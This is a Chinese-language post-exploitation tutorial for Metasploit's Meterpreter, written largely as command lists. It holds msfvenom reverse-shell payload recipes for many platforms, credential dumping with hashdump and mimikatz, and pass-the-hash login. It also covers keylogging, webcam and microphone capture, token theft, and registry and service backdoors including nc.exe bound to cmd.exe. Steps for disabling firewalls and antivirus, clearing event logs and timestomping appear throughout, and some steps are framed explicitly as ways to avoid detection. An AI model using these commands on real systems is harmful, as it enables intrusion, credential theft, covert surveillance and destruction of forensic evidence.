0x01初识Meterpreter
1.1.什么是Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况
1.2.Meterpreter技术优势
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。
0x02 Meterpreter中常用反弹类型
1、 reverse_tcp:
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581 -f exe -o hacker.exe
2、reverse_http:
基于http方式的反向连接,在网速慢的情况下不稳定。
payload:/windows/meterpreter/reverse_http
3、reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试
payload:/windows/meterpreter/reverse_https
4.bind_tcp
这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
payload:/windows/meterpreter/bind_tcp
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
0x03 相关Payload
Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Metasploit中的Payload模块主要有以下三种类型:
- Single:Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到
- Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
- Stage:是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:
Single Payload的格式为:<target>/ <single>
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>
当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表
0x04 Meterpreter的常用命令
1、基本命令:
- ?/help # 查看Meterpreter帮助
- bg/background #返回,把meterpreter后台挂起
- bgkill # 杀死一个背景 meterpreter 脚本
- bglist #提供所有正在运行的后台脚本的列表
- bgrun #作为一个后台线程运行脚本
- channel #显示活动频道
- sessions -i number # 与会话进行交互
- close # 关闭通道
- exit/quit # 终止 meterpreter 会话
- guid # 获取会话guid
- info # 显示有关Post模块的信息
- interact id #切换进一个信道
- run/exploit #执行一个已有的模块
- irb # 进入 Ruby 脚本模式
- machine_id # 获取连接到会话的计算机的MSF id
- read # 从通道读取数据
- write # 将数据写入到一个通道
- read # 从通道读取数据
- run和bgrun # 前台和后台执行以后它选定的 meterpreter 脚本
- use # 加载 meterpreter 的扩展
- load/use #加载模块
- Resource #执行一个已有的rc脚本
- migrate # 将服务器迁移到另一个进程
- pivot # 管理数据透视侦听器
- set_timeouts # 设置当前会话超时值
- sleep # 强制MeterMeter保持安静,然后重新建立会话。
- uuid # 获取当前会话的uuid
2、文件系统命令
-
cat # 查看文件内容,文件必须存在
-
cd # 更改目录
-
checksum # 检索文件的校验和
-
cp # 复制源到目标
-
dir/ls # 目录列表文件(ls的别名)
-
download # 下载文件或目录
-
upload # 上载文件或目录
-
edit # 编辑文件
-
getlwd # 打开本地工作目录
-
getwd # 打开工作目录
-
lcd # 更改本地工作目录
-
lls # 列出本地文件
-
lpwd # 打印本地工作目录
-
mkdir # 生成目录
-
mv # 将源移动到目标/修改目标主机上的文件名
-
pwd # 打印工作目录
-
rm # 删除指定的文件
-
rmdir # 删除目录
-
search # 搜索文件
-
show_mount # 显示装载列表所有装载点/逻辑驱动器
-
enumdesktops # 用户登录数
3、系统命令
-
clearev # 清除事件日志
-
drop_token # 放弃任何活动的模拟令牌
-
execute # 执行命令
目标主机上立马弹出来一个记事本程序
这样太明显,如果希望隐藏后台执行,加参数-H -
getenv # 获取一个或多个环境变量值
-
getpid # 获取当前进程标识符
-
getprivs # 尝试启用当前进程可用的所有特权
-
getsid # 获取作为服务器运行的用户的SID
-
getuid # 获取运行服务器的用户
-
kill # 终止进程
-
localtime # 显示目标系统的本地日期和时间
-
pgrep # 按名称筛选进程
-
pkill # 按名称终止进程
-
ps # 列出正在运行的进程
-
reboot # 重新启动重新启动远程计算机
-
reg # 修改远程注册表并与之交互
-
rev2self # 在远程计算机上调用revertoself()
-
shell # 获得系统命令shell
-
shutdown # 关闭远程计算机
-
steal_token # 尝试从目标进程偷取模拟令牌
-
suspend # 挂起或恢复进程列表
-
sysinfo # 获取有关远程系统的信息
4、网络命令
- arp # 显示主机arp缓存
- getproxy # 显示当前代理配置
- ipconfig/ifconfig #显示网络接口的关键信息,包括 IP 地址
- netstat # 显示网络连接
- portfwd # 端口转发本地端口到远程服务
- resolve # 解析目标上的一组主机名
- route # 路由视图(可以添加路由,下一跳为当前拿下主机的sessionid,即所有对其他网段的攻击流量都通过已渗透的这台姆堡主机的meterpreter会话来传递,最后就可以通过这条路由,以当前拿下的主句meterpreter作为路由跳板攻击其他网段中另一台又ms08-067漏洞主机,获得反弹shell)
5、用户界面命令
- enumdesktops # 列出所有可访问的桌面和窗口站
- getdesktop # 获取当前的MeterMeter桌面
- idletime # 显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分31秒之前。
- keyboard_send # 发送击键
目标服务器就输入了发送的击键
- keyscan_start # 开启键盘监听功能
- keyscan_dump # 显示捕捉到的键盘记录信息
- keyscan_stop # 停止键盘记录功能
- mouse # 鼠标发送鼠标事件
- uictl enable keyboard/mouse #接管目标主机的键盘和鼠标。
- screenshot # 截取交互式桌面的截图
- screenshare # 实时监视远程用户的桌面
- setdesktop # Change the meterpreters current desktop
- uictl # 控制一些用户界面组件
6、网络摄像头命令
- record_mic # 从默认麦克风录制音频X秒
- webcam_chat # 开始视频会话
- webcam_list # 列出网络摄像头
- webcam_snap # 从指定的网络摄像头拍摄快照
- webcam_stream # 从指定的网络摄像头播放视频流
7、mimikatz
- meterpreter > load mimikatz # 加载mimikatz
- meterpreter > msv # 获取hash值
- meterpreter > kerberos # 获取明文
- meterpreter >ssp # 获取明文信息
- meterpreter > wdigest # 获取系统账户信息
- meterpreter >mimikatz_command -f a:: # 必须要以错误的模块来让正确的模块显示
- meterpreter >mimikatz_command -f hash:: # 获取目标 hash
- meterpreter > mimikatz_command -f samdump::hashes
- meterpreter > mimikatz_command -f sekurlsa::searchPasswords
8、网络嗅探
- use sniffer # 加载嗅探模
- sniffer_interfaces # 获取网卡的信息
- sniffer_start ID # 获取正在实施嗅探网络接口的统计数据
- sniffer_stop ID # 停止嗅探
- sniffer_dump ID filepath # 保存抓取的数据包
- 对抓取的包进行解包:
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
9、获取敏感信息
- run post/windows/gather/checkvm # 是否虚拟机.
- run post/windows/gather/enum_applications # 获取安装软件信息
- run post/windows/gather/dumplinks # 获取最近的文件操作
- run post/windows/gather/enum_ie # 获取IE缓存
- run post/windows/gather/enum_chrome # 获取Chrome缓存
- run scraper # 获取常见信息
10 、获取Hash
使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。
run post/windows/gather/smart_hashdump
数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::
use post/windows/gather/hashdump
set session 2
run
- 检查已有权限+系统类型
- 检查是否为域控制器
- 从注册表读hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程
- 若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS
- 若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash
- 若win2003/xp/2000,直接getsystem,读取hash
11.通过Hash获取权限
use exploit/windows/smb/psexec
set RHOST 192.168.1.104
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:b31d50d887e8f5b9fde7a7d95013da1a
run
12.得到远程桌面
使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
13.权限提升
这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。
使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为232的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。
- ps # 列出正在运行进程。
- migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法
- getprivs # 尽可能获取尽可能多的特权
- getuid # 获得当前的权限
- getsystem # 通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户
- getsystem -h
- 使用MS14-058之类的Exp进行提权
use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 3
run
14.盗取令牌
- use incognito # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
- list_tokens -u # 列出目标主机用户的可用令牌
- list_tokens -g # 列出目标主机用户组的可用令牌
- impersonate_token DOMAIN_NAME\USERNAME # 假冒目标主机上的可用令牌
- execute -f cmd.exe -i -t # 调用域权限shell
- add_user 0xfa funny –h 192.168.1.104 #在域控主机上添加账户
- reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作
- setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录)
- ps #查看目标机器进程,找出域控账户运行的进程ID
- steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒
- drop_token pid #停止假冒当前令牌
15.清除事件日志
完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志
Win+R输入eventvwr.msc打开事件查看器,里面的应用程序、安全性、系统都是空的:
17.一些脚本命令
为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。使用“runscriptname”来使用meterpreter模块中的脚本命令
- run post/windows/gather/checkvm:后渗透模块,确定目标主机是否是一台虚拟机
- run packetrecorder -i 1:查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。
- run get_local_subnets:得到本地子网网段
- run getcountermeasure:显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略
- run scraper:从目标主机获得所有网络共享等信息,并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。
- run killav:命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录,但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
- run hashdump:获得密码哈希值,运行这个脚本和在meterpreter下直接运行hashdump结果差不多。
- run keylogrecorder:命令为记录键盘信息,运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
- run persistence:这个脚本可以被用作持续欺骗主机
run persistence -X -i 5 -p 12581 -r 192.168.1.107 #植入后门
执行过程:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听12581端口,等待反弹会话成功
下图,看目标主机注册表Run键值果然被写入了一个PplUOJWzOoTqiKa的键值,执行后门vbs脚本
- enum_drives:在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息。
use post/windows/gather/forensics/enum_drives
set SESSION 6
run
或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用
18.SOCKS代理
Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行,然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以。
19.运行程序
execute:在目标系统中执行应用程序。这个命令的使用方法如下:
execute -f<file> [Options]
运行后它将执行file参数所指定的文件。可选参数如下:
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
-f 执行的程序文件
-d 在目标主机执行时显示的进程名称(用以伪装)
-o wce.txt"是wce.exe的运行参数
20.创建账号
- run getgui -e 开启目标主机远程桌面
- run getgui -u test -p test 创建新账户,虽然有报错但是账户已经创建完成:
- rdesktop 192.168.1.104 添加完账户使用redesktop命令连接一下远程主机。
输入账户名密码登录,对目标机器直接进行控制:
21.启用远程桌面
当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,这样可以降低你被发现的概率
可以用 run post/windows/manage/enable_rdp 或者 run getgui -e 来开启远程桌面
22.绑定进程
Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程(需要先关闭防火墙)。
23.通过其 shell 来关闭防火墙
NetSh Advfirewall set allprofiles state off(区分大小写)
目标防火墙已关闭:
但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。
netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL
伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!
24.利用注册表添加 NC 后门
- 上传 NC 到目标系统:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
- 枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
- 在该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
- 查看内容是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
25.基于MACE时间的反电子取证
-
timestomp -v test.txt #查看当前目标文件 MACE 时间。
-
timestomp c:/test.txt -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)
-
timestomp -f c:\AVScanner.ini test.txt (将模板文件MACE时间,复制给当前文件)
26.内网代理
meterpreter > run autoroute -s 192.168.1.0/24
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.104/24
msf auxiliary(tcp) > set THERADS 10
msf auxiliary(tcp) > exploit
meterpreter > background
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > route print
msf auxiliary(socks4a) > ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子'
msf auxiliary(socks4a) > exploit
27.SSH代理
msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.1.104
msf > set USER test
msf > set PASS reverse
msf > set PAYLOAD ssh/metassh_session
msf > exploit -z
msf > route add 192.168.57.0 255.255.255.0 1
之后就是愉快的内网扫描了
当然还是推荐直接用
ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1
28.内网扫描
meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.1/24
29 常用的破解模块
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
30.一些好用的模块
auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)
auxiliary/scanner/rsync/modules_list (Rsync)
auxiliary/scanner/misc/redis_server (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :))
0x05 常见脚本
在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用,run 脚本名 -h可以查看帮助
- arp_scanner 利用arp进行存活主机扫描
run arp_scanner-r 192.168.1.0/24
- autoroute 可以添加,删除,显示路由表
run autoroute -s
- checkvm 可以检测目标是否是虚拟机
run checkvm
- credcollect 收集目标主机上的hash等凭证
run credcollect
- domain_list_gen 获取域管理账户列表,并判断当前session所在用户是否在列表中
run domain_list_gen
- dumplinks Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件
run dumplinks Link
调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息
run post/windows/gather/dumplinks
- duplicate 再次产生payload,注入到其他进程或打开新进程并注入其中
run duplicate -e C:/notepad.exe -p 1.1.1.1 -r 1234
- enum_chrome 获取chrome中的信息
run post/windows/gather/enum_chrome
- enum_firefox 获取firefox中的信息,包括cooikie,历史纪录,书签等
run post/windows/gather/enum_firefox
- enum_logged_on_users 列出当前登录的用户
run enum_logged_on_users
- enum_powershell_env 列出powershell和WSH的配置文件
run enum_powershell_envrs
- enum_putty 列出putty的配置文件
run enum_putty
- enum_shares 列出共享及历史共享
- enum_vmware 列出vmware的配置文件和产品
- event_manager 可以查询和清理事件日志
- file_collector 搜索符合指定模式的文件
- get_application_list 获取安装的程序列表及版本
- getcountermeasure 列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略
Ps:-k参数可以杀掉防护软件进程 - get_env获取所有用户的环境变量
- get_filezilla_creds 获取filezilla的登陆凭证
- getgui 可以很方便的开启远程桌面服务,添加用户,端口转发功能
- get_local_subnets 获得本地的子网
- get_pidgin_creds 获取pidgin配置文件中的用户名和密码
- gettelnet 同之前开启终端桌面服务的脚本,这个是用来开启telnet的
- get_valid_community 获取SNMP community字符串
- getvncpw 获取vnc密码
- hashdump 同meterpreter的内置功能
- hostsedit 操作hosts文件
- keylogrecorder Meterpreter内置此功能
- killav 关闭防护软件
- metsvc 将payload安装为服务
- migrate 将meterpreter会话移植到另一个进程
- persistence 可建立一个持久性的后门,设置成开机启动
- service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload
35.vnc 可以看到远程桌面 - win32-sshserver 安装openssh服务
- winenum 会自动运行多种命令,将命令结果保存到本地
0x06 msfvenom命令参数
metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听
1. msfvenom命令行选项
在kali的命令行中输入msfvenom -h就会显示其用法:
-p, --payload<payload> 指定需要使用的payload(攻击荷载)
-l, --list[module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled<length> 为payload预先指定一个NOP滑动长度
-f, --format<format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder[encoder] 指定需要使用的encoder(编码器)
-a, --arch<architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space<length> 设定有效攻击荷载的最大长度
-b, --bad-chars<list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code<path> 指定一个附加的win32 shellcode文件
-x, --template<path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out<path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
2. 生成payload
- 生成不经过编码的普通payload(不编码->生成内容固定->直接被杀)
#格式
msfvenom -p <payload> <payload options> -f <format> -o <path>
#实例
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –f exe –o shell.exe
- 经过编码器处理后生成payload
#格式
msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
#实例
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –i 3 –e x86/shikata_ga_nai –f exe –o shell.exe
- 捆绑到正常文件后生成payload
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –platform windows –a x86 –x calc.exe –k –f exe –o shell.exe
3.常用payload
- 命令格式:
msfvenom -p <payload> <payload options> -f <format> -o <path>
- Linux:
# 反向连接
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
# 正向连接
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
- Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
- Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
- PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
- ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
- JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
- WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
- Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
- Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
- Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
- Linux Based Shellcode:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
- Windows Based Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
- Mac Based Shellcode:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
- Handlers:
0x07获取meterpreter
root @ kali:〜#msfconsole
msf>use exploit/multi /handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => window /meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 0.0.0.0
msf exploit(handler)>set LPORT 444
msf exploit(handler)>show options
msf exploit(handler)>run
0x08 持续性后门
1.metsvc后渗透攻击模块
- metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
metsvc.dll
metsvc-service.exe
metsvc.exe
run metsvc
- 执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
- 在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)
- 然后连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.1.104
set LPORT 31337
run
2.persistence模块后门
run persistence -X -i 5 -p 23333 -r 192.168.1.107
然后退出重新配置监听器:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 2241
exploit
0x09 meterpreter绕过uac
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell
use exploit/windows/local/ask
show options
set session 1
exploit
当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过(由于目标系统没有开启uac,这里只是使用命令作为演示)
参考链接:
https://www.cnblogs.com/backlion/p/9484949.html(Meterpreter命令详解)
https://www.xitongtiandi.net/wenzhang/win10/16066.html(windows命令大全)